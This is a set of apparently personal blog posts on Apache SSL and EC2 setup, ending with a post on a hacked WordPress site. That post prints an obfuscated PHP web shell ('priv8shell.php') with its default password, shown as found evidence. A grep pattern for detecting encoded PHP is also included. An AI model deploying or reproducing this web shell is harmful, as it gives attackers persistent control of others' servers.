Categories
Hacker Security

How to SSL Apache Web Server configuration ?

Refer to

 https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Tutorials.WebServerDB.CreateWebServer.html

Free SSL – Let’s encrypt

https://certbot.eff.org/lets-encrypt/debianjessie-apache

SSL INSTALLATION

  wget https://dl.eff.org/certbot-auto
  sudo mv certbot-auto /usr/local/bin/certbot-auto
  sudo chown root /usr/local/bin/certbot-auto
  chmod 0755 /usr/local/bin/certbot-auto
  
  sudo /usr/local/bin/certbot-auto --apache

(1) modify –> /etc/httpd/conf.d/ssl.conf

(2) make sure you close http via aws inbount and ACL

THE SSL COMMAND

  sudo /usr/local/bin/certbot-auto --apache

Activate htaccess

<Directory /var/www/xxxx>
    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
    Require all granted
</Directory>

Proper Directory and file permission

Directories 775
Files 664

Unix command for directories 755

find . -type d -print0 | xargs -0 chmod 0755
sudo find . -type d -print0 | sudo xargs -0 chmod 0755

Unix command for files 644

find . -type f -print0 | xargs -0 chmod 0644
sudo find . -type f -print0 | sudo xargs -0 chmod 0644

Unix User Apache

sudo chown -R apache:apache .

Find hacked files

grep -r --include=*.php -e '[[:alnum:]\/\+]\{137,\}'

Create instance ec2 with ssh access

(1) create ec2 instance

(2) create vpc Make usre to have public IPV4 dns

Get your VPC ID from your EC2 dashboard.
Go to VPC dashboard. Select your VPC with VPC ID.
Click on Actions and Select "Edit DNS Hostnames".
Select Yes and click Save.

Now you can find Public DNS IPv4 value in EC2 dashboard.

(3) create subnet – 172.30.3.0/24 250 available ip addresses make sure auto-assign IPV 4

(4) create internet gateway

(5) create route tables – ADD 0.0.0.0/0 to internet gateway

Install without verification

yum update -y

apache web server

    <VirtualHost *:80>
      DocumentRoot "/www/docs/host.example.com"
      ServerName ec2-3-88-63-157.compute-1.amazonaws.comm
      ErrorLog "logs/host.example.com-error_log"
      TransferLog "logs/host.example.com-access_log"
    </VirtualHost>

SSL

    wget https://dl.eff.org/certbot-auto


user@webserver:~$ wget https://dl.eff.org/certbot-auto
user@webserver:~$ sudo mv certbot-auto /usr/local/bin/certbot-auto
user@webserver:~$ sudo chown root /usr/local/bin/certbot-auto
user@webserver:~$ chmod 0755 /usr/local/bin/certbot-auto
user@webserver:~$ /usr/local/bin/certbot-auto --help

/usr/local/bin/certbot-auto --debug --apache certonly -d raleche.com

Install new php package

sudo amazon-linux-extras install -y lamp-mariadb10.2-php7.2 php7.2
sudo amazon-linux-extras enable php7.3
sudo yum -y install php-cli php-pdo php-fpm php-json php-mysqlnd

Start the Apache web server.

[ec2-user ~]$ sudo systemctl start httpd

Use the systemctl command to configure the Apache web server to start at each system boot.

[ec2-user ~]$ sudo systemctl enable httpd

You can verify that httpd is on by running the following command:

[ec2-user ~]$ sudo systemctl is-enabled httpd

To ensure that all of your software packages are up to date, perform a quick software update on your instance. This process may take a few minutes, but it is important to make sure that you have the latest security updates and bug fixes.

The -y option installs the updates without asking for confirmation. If you would like to examine the updates before installing, you can omit this option.

[ec2-user ~]

$ sudo yum update -y Install the lamp-mariadb10.2-php7.2 and php7.2 Amazon Linux Extras repositories to get the latest versions of the LAMP MariaDB and PHP packages for Amazon Linux 2.

[ec2-user ~]

$ sudo amazon-linux-extras install -y lamp-mariadb10.2-php7.2 p

Categories
AWS Hacker

Untold Truth about EC2 instances being hacked

Many years ago, I was warned about AWS EC2 internal security breaches … Newly created ec2 instances are being used as proxies and so on on ipv4 and ipv6 ports

The worst situation is having AWS customer support denying the sabotages. AWS = Heaven for hackers = nightmares for newbies in network security

Categories
General Hacker

How to Find hacked files ?

Unix Commands

grep -r --include=*.php -e '[[:alnum:]\/\+]\{64,\}'

grep -r --include=*.php -e '[[:alnum:]\/\+]\{137,\}' 

Categories
Hacker

Hacker WordPress + AWS EC2 instances

If you see the following image above in your website it is likely that the hacker came and deleted all your files. It is the latest of my findings using wordpress. Why would a hacker do this ? What are the goals of hackers ?

After going through the logs it appears that the hacker took all the data from the database and use a tool call priv8 shell program.

We know the attack came from the following IP addresses

49.89.143.144 
111.227.242.51
Continent: Asia
Country: China
Country Code: CN
Country CF: 86
Region: 
State: Hebei
State Code: 
State CF: 73
DMA: 
MSA: 
City: Shijiazhuang
Postal Code: 050000
Timezone: Greenwich Mean Time
Area Code: 
City CF: 61
Latitude: 38.04055635
Longitude: 114.4830578

GeoIP2 City Results

IP AddressCountry CodeLocationPostal CodeApproximate Coordinates*Accuracy Radius (km)ISPOrganizationDomainMetro Code
49.89.143.144CNChengxi,
Jiangsu,
China,
Asia
31.5191,
120.0392
500China TelecomChina Telecom

The hacker left 2 files in my directory

index.php

 <?php
   header('Location: https://66.media.tumblr.com/tumblr_lx39yeItWP1r4ghkoo1_500.gifv');
 ?> 

And the following file priv8shell.php

 
 
 $â–› = "5f26ba5f14b065940bc9c117f0099df2"; // default pass:  hacker0882 


 $xD = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNEhFeCUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=="; $HEx = "=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